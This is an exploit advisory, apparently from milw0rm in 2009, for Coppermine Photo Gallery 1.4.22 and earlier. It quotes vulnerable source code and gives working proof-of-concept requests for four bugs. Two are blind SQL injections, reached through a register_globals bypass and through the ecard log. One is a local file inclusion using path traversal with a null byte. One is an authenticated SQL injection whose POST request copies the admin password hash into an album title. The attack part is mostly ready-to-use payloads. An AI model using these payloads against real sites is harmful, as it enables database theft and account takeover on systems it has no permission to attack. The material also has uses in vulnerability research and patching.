Author:	girex
Site:	http://girex.altervista.org/

CMS:	Coppermine Photo Gallery <= 1.4.22


Coppermine Foto Gallery suffers from different vulnerabilities.

There is a Local File Inclusion and a Blind SQL Injection working with 
register_globals = On and magic_quotes_gpc = Off
and
a SQL Injection working in case of registration is enabled and a user can create/modify albums 
(default setting if registration is enabled) and php.ini regardless
and 
a Blind SQL Injection when is enabled the ecard logging system 
(that is not a default configuration) and php.ini regardless

Let's see how do they work...

-------------------------------------------------------------------------------------------

Is possible to bypass the anti-register_global protection and obtain a blind sql injection or a local file inclusion.

I couldn't find a better way to exploit bypassing the anti-register_global protection so i just write this
Proof of Concepts.

Let's see the anti-register_globals protection and how to bypass it...

File: /includes/init.inc.php - lines: 42-65

	$keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST', 'keysToSkip', 'register_globals_flag', 'cpgdebugger');
	
	if (ini_get('register_globals') == '1' || strtolower(ini_get('register_globals')) == 'on') {
	    $register_globals_flag = true;
	} else {
	    $register_globals_flag = false;
	}
	
	if (get_magic_quotes_gpc()) {
	        if (is_array($_POST)) {
	                foreach ($_POST as $key => $value) {
	                        if (!is_array($value))
	                                $_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
	                        if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);
	                }
	        }
	
	        if (is_array($_GET)) {
	                foreach ($_GET as $key => $value) {
	                        unset($_GET[$key]);
	                        $_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
	                        if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);
	                }
	        }

Same happens for $_COOKIE and $_SERVER vars and also with magic_quotes_gpc = off
This protection is easily bypassable defining GLOBALS vars via GET or via POST.

Example: index.php?GLOBALS[dummy_example]=damn
It defines the global var dummy_example.

Let's see how to exploit it...

File: ./thumbnails.php - lines: 79-

	if (isset($_GET['sort'])) $USER['sort'] = $_GET['sort'];
	if (isset($_GET['cat'])) $cat = (int)$_GET['cat'];		<== bypass the int cast 
	if (isset($_GET['album'])) $album = $_GET['album'];

	...
	if (is_numeric($album)) {
	...
    	
	} else {
        $album_set_array = array();
        if ($cat == USER_GAL_CAT)
            	$where = 'category > ' . FIRST_USER_CAT;
       	else
            	$where = "category = '$cat'";

        $result = cpg_db_query("SELECT aid FROM {$CONFIG['TABLE_ALBUMS']} WHERE $where");  <==  Vulnerable query


Here's a proof of concept:
NOTE: - we need register_globals = on and magic_quotes_gpc = off

[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=1%23	true
[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=2%23	false

-------------------------------------------------------------------------------------------

It's also possible to obtain a local file inclusion overwriting $USER array and in particular
$USER['lang'] vars...

File: /include/functions.inc.php - lines: 128-135

	function user_get_profile()
	{
        	global $CONFIG, $USER;

        	if (isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) {
                	$USER = @unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data']));
                	$USER['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');		<== we bypass it
        	}
      
		if (!isset($USER['ID']) || strlen($USER['ID']) != 32) {
                	list($usec, $sec) = explode(' ', microtime());
                	$seed = (float) $sec + ((float) $usec * 100000);
                	srand($seed);
                	$USER=array('ID' => md5(uniqid(rand(),1)));
        	} else {
                	$USER['ID'] = addslashes($USER['ID']);
        	}

        	if (!isset($USER['am'])) $USER['am'] = 1;
	}

File: /includes/init.inc.php - lines: 318-346

	if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php'))
	{
        	$CONFIG['default_lang'] = $CONFIG['lang'];          // Save default language
        	$CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');
	}
	elseif ($CONFIG['charset'] == 'utf-8')			<== default configuration
	{
       		include('include/select_lang.inc.php');
        	if (file_exists('lang/' . $USER['lang'] . '.php'))
        	{
                	$CONFIG['default_lang'] = $CONFIG['lang'];      // Save default language
                	$CONFIG['lang'] = $USER['lang'];
        	}
	}
	else
	{
        	unset($USER['lang']);
	}

	if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang']))
	{
                unset($CONFIG['default_lang']);
	}

	if (!file_exists("lang/{$CONFIG['lang']}.php"))
  	$CONFIG['lang'] = 'english';

	// We load the chosen language file
	require "lang/{$CONFIG['lang']}.php";		<== vulnerable include


Here's a proof of concept:
NOTE: - we need register_globals = on and magic_quotes_gpc = off

GET /[path]/index.php?GLOBALS[USER][ID]=5b83a5f92603efcdb65d47c9a2991d6b&GLOBALS[USER][lang]=../README.txt%00 HTTP/1.1
Host: [host]
Connection: close

This will include README.txt, if register_globals=on magic_quotes_gpc=off
and if User-Agent and Accept-Language headers are not set. (see code)

-------------------------------------------------------------------------------------------

When registration are enabled and a user can create/modify albums with password is possible 
to obatain a blind sql injection php.ini regardless.

File: ./db_input.php 

	$event = isset($_POST['event']) ? $_POST['event'] : $_GET['event'];
	switch ($event) {
 
	...

	case 'album_update':
        if (!(USER_ADMIN_MODE || GALLERY_ADMIN_MODE)) cpg_die(ERROR, $lang_errors['perm_denied'], __FILE__, __LINE__); <== USER_ADMIN_MODE is TRUE if we are logged in

        $aid = (int)$_POST['aid'];
        $title = addslashes(trim($_POST['title']));
        $category = (int)$_POST['category'];
        $description = addslashes(trim($_POST['description']));
                $keyword = addslashes(trim($_POST['keyword']));
        $thumb = (int)$_POST['thumb'];
        $visibility = (int)$_POST['visibility'];
        $uploads = $_POST['uploads'] == 'YES' ? 'YES' : 'NO';
        $comments = $_POST['comments'] == 'YES' ? 'YES' : 'NO';
        $votes = $_POST['votes'] == 'YES' ? 'YES' : 'NO';
        $password = $_POST['alb_password'];					<== this var is not addslashed
                $password_hint = addslashes(trim($_POST['alb_password_hint']));
        $visibility = !empty($password) ? FIRST_USER_CAT + USER_ID : $visibility;

        if (!$title) cpg_die(ERROR, $lang_db_input_php['alb_need_title'], __FILE__, __LINE__);

        if (GALLERY_ADMIN_MODE) {
            $query = "UPDATE {$CONFIG['TABLE_ALBUMS']} SET title='$title', description='$description', category='$category', thumb='$thumb', uploads='$uploads', comments='$comments', votes='$votes', visibility='$visibility', alb_password='$password', alb_password_hint='$password_hint', keyword='$keyword' WHERE aid='$aid' LIMIT 1";
        } else {
            $category = FIRST_USER_CAT + USER_ID;
            $query = "UPDATE {$CONFIG['TABLE_ALBUMS']} SET title='$title', description='$description', thumb='$thumb',  comments='$comments', votes='$votes', visibility='$visibility', alb_password='$password',		<== vulnerable query alb_password_hint='$password_hint',keyword='$keyword' WHERE aid='$aid' AND category='$category' LIMIT 1";
        }

        $update = cpg_db_query($query);

$_POST['alb_password'] is not addslashed before being used in a query.
You must know that all _GET _POST _REQUEST variables are sanizated in init.inc.php...

File: /include/init.inc.php

	// Do some cleanup in GET, POST and cookie data and un-register global vars
	$HTML_SUBST = array('&' => '&amp;', '"' => '&quot;', '<' => '&lt;', '>' => '&gt;', '%26' => '&amp;', '%22' => '&quot;', '%3C' => '&lt;', '%3E' => '&gt;','%27' => '&#39;', "'" => '&#39;'); 

	...
	$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
	...
	$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
	...
	$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);


So quotes are fixed, but what about backslash (\). We can manipulate the query inserting a backslash at the end of
$_POST['alb_password'] and execute SQL in $_POST['alb_password_hint'] parameter.


Here's a Proof of Concept: 
NOTE: - registration must be enabled and an user must can create/modify albums 
      - works regardless of php.ini settings

- Log in with your user credential
- Create an album with password
- Do this request:

POST /[path]/db_input.php HTTP/1.1
Host: [host]
Keep-Alive: 300
Connection: keep-alive
Cookie: [your_cookies]
Content-Type: application/x-www-form-urlencoded

event=album_update&title=x&aid=[YOUR_ALBUM_ID]&alb_password=%5C&alb_password_hint=,title=(SELECT user_password FROM cpg14x_users WHERE user_id=1) WHERE aid=[YOUR_ALBUM_ID]%23

You will set the admin's password (user with user_id=1) as the title of your album.

-------------------------------------------------------------------------------------------

And we have also a Blind SQL Injection with a specific configuration of coppermine...

File: ./displayecard.php - lines 26-38

	if (!isset($_GET['data'])) cpg_die(CRITICAL_ERROR, $lang_errors['param_missing'], __FILE__, __LINE__);

	$data = array();
	$data = @unserialize(@base64_decode($_GET['data']));

	// attempt to obtain full link from db if ecard logging enabled and min 12 chars of data is provided and only 1 match
	if ((!is_array($data)) && $CONFIG['log_ecards'] && (strlen($_GET['data']) > 12)) {
        	$result = cpg_db_query("SELECT link FROM {$CONFIG['TABLE_ECARDS']} WHERE link LIKE '{$_GET['data']}%'");
        	if (mysql_num_rows($result) === 1) {
                	$row = mysql_fetch_assoc($result);
                	$data = @unserialize(@base64_decode($row['link']));
        	}
	}


Here's a Proof of Concept: 
NOTE: - $CONFIG['log_ecards'] must be set to 1 (and this is NOT a default config) 
      - works regardless of php.ini settings

Make an injection with this php code:
<?php
$injection = "%' OR BENCHMARK(999999, md5(0))#";
$injection = urlencode(base64_encode(serialize($injection)));
?>

Then:
GET http://[host]/[path]/displayecard.php?data=[$injection] HTTP/1.1

girex

# milw0rm.com [2009-05-18]
